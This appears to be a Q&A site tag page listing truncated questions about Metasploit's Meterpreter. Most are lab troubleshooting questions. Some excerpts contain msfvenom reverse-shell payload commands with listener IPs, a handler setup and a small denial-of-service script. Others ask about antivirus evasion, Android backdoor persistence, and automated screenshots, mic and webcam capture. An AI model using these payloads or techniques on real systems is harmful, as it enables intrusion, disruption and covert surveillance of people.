Questions tagged [meterpreter]
The meterpreter tag has no usage guidance.
132
questions
0
votes
0
answers
15
views
Meterpreter shell re-enter previous/next command
After a Meterpreter session has been established, you can start an interactive shell on the target host using the shell command. In the shell, I'm trying to switch between previously entered commands ...
- 101
0
votes
0
answers
24
views
How to keep android meterpreter shell script running in background after app is closed
I am connected to android using a meterpreter shell, using an embedded backdoor.
I want to run a loop, on the android which will stay running even when the app is closed.
My test.sh script is:
#!/bin/...
- 1
0
votes
0
answers
31
views
How does meterpreter stay covert and undetected?
I've heard that meterpreter is really good at being stealthy and staying undetected. However, I can't seem to find articles detailing how it stays stealthy. I do know about encoders like "Shikata ...
- 3,502
0
votes
0
answers
12
views
"No session was created" between VMs [duplicate]
I'm a newbie to Metasploit and I have set up 2 VMs: Kali Linux and Windows 8 (victim machine). They use NAT adapter to connect to the internet.
I want to make one exploit on ms17-010 but the result is ...
- 1
0
votes
1
answer
36
views
session are not showing in meterpreter [duplicate]
I have a problem that when I try to open multi handler in msfconsole to exploit android, the sessions are not showing. But when I connect both PC and android to the same wifi, then the sessions are ...
0
votes
0
answers
400
views
meterpreter command `play` not working
I have created a payload using msfvenom, and after starting msfconsole, I am connected to the victim phone (me). I am able to run all commands but the play command shows an error.
I want to play music ...
- 1
0
votes
1
answer
120
views
Meterpreter: How to invoke commands in a loop for each new connection
I want to execute commands like screenshot on a regular interval (e.g. each 5min) for each incoming connection to Meterpreter using the reverse_tcp payload until the connection gets closed by the ...
- 103
2
votes
0
answers
256
views
Metasploit opens Meterpreter, but the shell is unresponsive [closed]
I created a payload using
msfvenom android/meterpreter/reverse_tcp LHOST=192.168.2.2 R > ANDROID.apk
signed the apk, sent it to my phone, opened up msfconsole and ran
set payload android/...
0
votes
2
answers
197
views
Meterpreter session vs shell
What is the meaning of "meterpreter session"? My understanding is it is a session that we can send commands to the host for execution. And a meterpreter session is created when we don't get ...
0
votes
0
answers
31
views
Will VPN help to restrict Meterpreter session? [duplicate]
I'm a victim of Meterpreter attack. I'm now using VPN in all the devices. My question is, will it help me to restrict meterpreter attack?
If not, what is the way out to get rid of meterpreter attack?
0
votes
2
answers
377
views
How to run a meterpreter script multiple times
I have this very simple script to run a rpcbomb script from auxiliary/dos/rpc/rpcbomb for a DOS attack.
use auxiliary/dos/rpc/rpcbomb
set RHOSTS Victim_IP_Address
set RPORT 111
exploit -j -z
I want ...
0
votes
2
answers
1k
views
Making My Own Custom Payload [closed]
I have tried many different tools to avoid being detected by an AV while using meterpreter exploit. Here is a list of tools I have tried: Shellter, Posh C2, Hack the World, Veil, Fat Rat, and many ...
- 7
0
votes
1
answer
565
views
Hanging on When Sending Stage
I'm new to Metasploit. I set up a multi-handler exploit and also made an EXE file with meterpreter/reverse_tcp payload. Both 3rd party AV and Windows Defender are deactivated. But when the victim (my ...
- 7
0
votes
0
answers
833
views
After connecting to my backdoor, Meterpreter session is unstable and not usable
I uploaded my backdoor (made using msfvenom) and executed it on the remote machine. I'm able to connect to it using multi/handler , but after a while I get disconnected and then when I try to exploit ...
- 101
1
vote
1
answer
623
views
How to set where the meterpreter payload is placed on the victim machine in metasploit?
Background
I am trying to achieve a meterpreter session on a test machine (the "victim") that I already have a shell session on. When I run the command sessions -u #, where # corresponds to ...
- 113
1
vote
3
answers
372
views
Can't inject meterpreter shellcode in c++ code
I want to inject meterpreter shellcode in a c++ program.
When I create .exe file in msfvenom, I try it in my virtual machine (Windows 7) and it works well.
But when I create shellcode and inject it ...
- 11
0
votes
1
answer
444
views
How to execute a custom meterpreter payload? [duplicate]
I've hacked a box in an internal network 10.0.0.1 and I want to use 'pass-the-hash attack' on another box 10.0.0.2 but this box has Avira anti-virus installed in, and the common payload windows/...
- 1
0
votes
0
answers
304
views
Shell from meterpreter not responding to commands
Meterpreter session was created, framework latest. Victim machine: Ubuntu
Screenshot of session:
I am pretty sure the commands used to work before on the same machine. Shell commands are not working ...
0
votes
1
answer
201
views
Meterpreter pivot with a bind_named_pipe
I have a pivot setup on a compromised windows 10 box and am trying to get an SYSTEM shell on a separate machine in the target network. I have successfully done this abusing an unquoted service path ...
- 189
0
votes
1
answer
3k
views
MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive
I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe
In ...
- 1
1
vote
1
answer
226
views
Meterpreter Session died [Bwapp]
I just set up a lab with bwapp and wanted to jump straight into webshell.
I used Unrestricted file upload vuln --> uploaded my perfect shell created with msfvenom.
My only problem is that my ...
- 21
2
votes
2
answers
970
views
What allows meterpreter to migrate processes and how to defend against it?
I mainly use Linux so I'm not well-versed on how Windows and its privileges work. I've recently learned to use Metasploit and meterpreter on Windows boxes.
Previous research
This answer has given an ...
- 3,502
0
votes
1
answer
753
views
keep session alive
In this scenario where someone creates a meterpreter payload and sends it to the target that clicks on it, the person who sent the payload stays away from his PC and in that meantinme the target ...
0
votes
2
answers
2k
views
is there any way to exit meterpreter without exit the process?
I have a target process I'm injecting meterpreter shellcode (windows/meterpreter/reverse_tcp) into, I manage to get a shell but when I exit it, the process exits as well.
Is there any easy way to make ...
- 1
1
vote
1
answer
370
views
Help understanding pivoting and port forwading
I am trying to learn about pivoting/port forwarding and how to take full advantage of it. If I am connected to a network with the ip 192.168.0.10 and can see that 192.168.0.11 has access to a website ...
- 11
2
votes
0
answers
2k
views
Help with meterpreter reverse https
I was trying to practice with meterpreter, so I used the overflow ms17_010_eternalblue and as a payload windows/meterpreter/reverse_https but I am unable to make this payload to work properly.
1st ...
- 21
1
vote
0
answers
194
views
How does meterpreter STDAPI bypass window's webcam restriction's settings
How does the stdapi commands 'webcam_snap' and 'webcam_stream' in meterpreter session bypass webcam restrictions/privacy settings on windows? I want to know how one could replicate this for prevention ...
- 21
1
vote
0
answers
475
views
seDebugPrivilege and OpenProcess() - Trying to understand how Windows restricts access to a process' virtual memory
I’ve been trying to understand how operating systems protect processes from each other. My understanding of Windows security is that a process can call OpenProcess() (thereby allowing read and write ...
- 11
2
votes
1
answer
1k
views
Newer techniques for Meterpreter AV bypass
Is anyone willing to share techniques for creating a Windows Meterpreter payload that can bypass AV? I've noticed that Defender does a very good job these days at detecting it. Some of the ...
- 33
0
votes
1
answer
5k
views
Metasploit - Does the multi handler sends the payload, or just listens for connection
Does the metasploit module: exploit/multi/handler
sends payloads to stagers?
Or does it just listens for an incoming connection like a netcat
listener?
Or does it do both, as needed?
- 335
2
votes
1
answer
3k
views
Cannot execute program with Meterpreter on target OS
I'm a uni student taking a course on cybersecurity and what I am attempting to do is solely for educational purposes and not malicious.
I used the eternalblue exploit to gain access to the victim's ...
1
vote
0
answers
540
views
Meterpreter record_mic automation
I am toying with the record_mic function on my laptop and noticed that no matter what i do i cannot capture a stream longer than 12 seconds or i get timeout errors. I thought this was a limitation of ...
- 51
3
votes
1
answer
14k
views
How to connect to a meterpreter session opened manually on the target machine
I am trying to exploit a Windows 7 VM using metasploit. I was able to open a java meterpreter session and I want to access a native meterpreter. To do so I exported a meterpreter/reverse_tcp payload ...
- 141
1
vote
0
answers
134
views
Proxychains to access ports on the same host
This might be an incredible dumb question but I need to know if this concept is even possible.
I have obtained a low privileged shell on a target machine. After doing some enumeration I know the host ...
- 111
0
votes
0
answers
45
views
Auto execute meterpreter commands on session start(android) [duplicate]
I want my meterpreter to execute the command as soon as it gets the session. My payload is android/meterpreter/reverse_tcp
I want a file that can execute these commands automatically as soon as ...
-2
votes
2
answers
4k
views
Difference between shell and meterpreter? [duplicate]
What exactly is the diffrence between meterpreter reverse_shell and any other non-meterpreter reverse shells?
1) The non-meterpreter reverse shell: windows/shell/reverse_tcp
2) Meterpreter: windows/...
1
vote
1
answer
477
views
PHP HTTP Reverse Shell?
Is there a PHP HTTP reverse shell? I haven't been able to find one, only ones that transmit using TCP packets (not HTTP).
Note, I mean actually using HTTP packets as the C2, not just transmitting TCP ...
- 11
0
votes
0
answers
4k
views
Meterpreter is failing to load any extension except the core commands
[*] Starting persistent handler(s)...
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
...
2
votes
1
answer
624
views
Meterpreter and OpenVPN
During a meterpreter session, is it possible to deliver a payload that creates a connection request to a local OpenVPN connection? For example:
I have a payload. Whenever that payload runs on the ...
- 21
2
votes
2
answers
13k
views
How do I get back to a Meterpreter shell after backgrounding it?
Curious if any of you have an answer to this Metasploit question. It's an issue of a Metasploit session within another Metasploit session.
In this lab I'm doing, I need to compromise a machine (10.10....
- 171
0
votes
1
answer
2k
views
How to launch a Metasploit module with arguments in just one command
I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these ...
- 284
1
vote
1
answer
2k
views
Get the privileges of root with the user with I do an exploit with Shellshock [closed]
I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability:
use ...
- 11
2
votes
2
answers
12k
views
meterpreter upload command does't work
I'm trying to upload nc.exe on a Windows 7 system, after having exploited it by using: exploit/windows/fileformat/ms15_100_mcl_exe.
After obtaining the session:
sessions –l
sessions –i 1
I issued ...
- 21
0
votes
1
answer
333
views
How to response to Meterpreter HTTP Request sent from client
First of all apologies for mistakes as i am at beginner level. I was exploring Meterpreter HTTP Handler. I have created a payload with meterpreter reverse HTTP and writing my own http server for ...
0
votes
1
answer
386
views
How to set autorunscript of core commands?
I'm trying to automate scripts of an Android Metasploit payload. I can successfully automate any script on the /post module, however, I'm trying to automate geolocate, dump_calllog and others that are ...
1
vote
1
answer
1k
views
Switching to native meterpreter
I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service.
I want to change to a windows meterpreter(in ...
- 21
0
votes
1
answer
869
views
Meterpreter reverse shell alternative
What can you do if you are behind NAT but can't do port forwarding and don't want to pay for a virtual server with internet-facing IP? I read the answer to this question which suggests some tunneling ...
- 101
0
votes
1
answer
3k
views
From SQL Injection in SQLite to shell
I need to obtain a shell from an SQL injection over an application with sqlite database.
Currently my exploit looks like the following:
lucian@0x90:~/$ proxychains nc 10.185.10.55 1101
ProxyChains-3....
- 1,812
3
votes
3
answers
3k
views
Meterpreter shell and system shell define?
What is the difference between Meterpreter shell and system shell?
For example, if I found some vulnerability in a system which allowed both shells, then what should I go for, system shell or ...
- 483
0
votes
1
answer
3k
views
Meterpreter file upload - segmentation fault
I'm doing some experiments on two VMs, one running Kali and the other running Ubuntu. I have a problem with the "upload" command of Meterpreter. In particular, I already open a reverse tcp session ...
- 3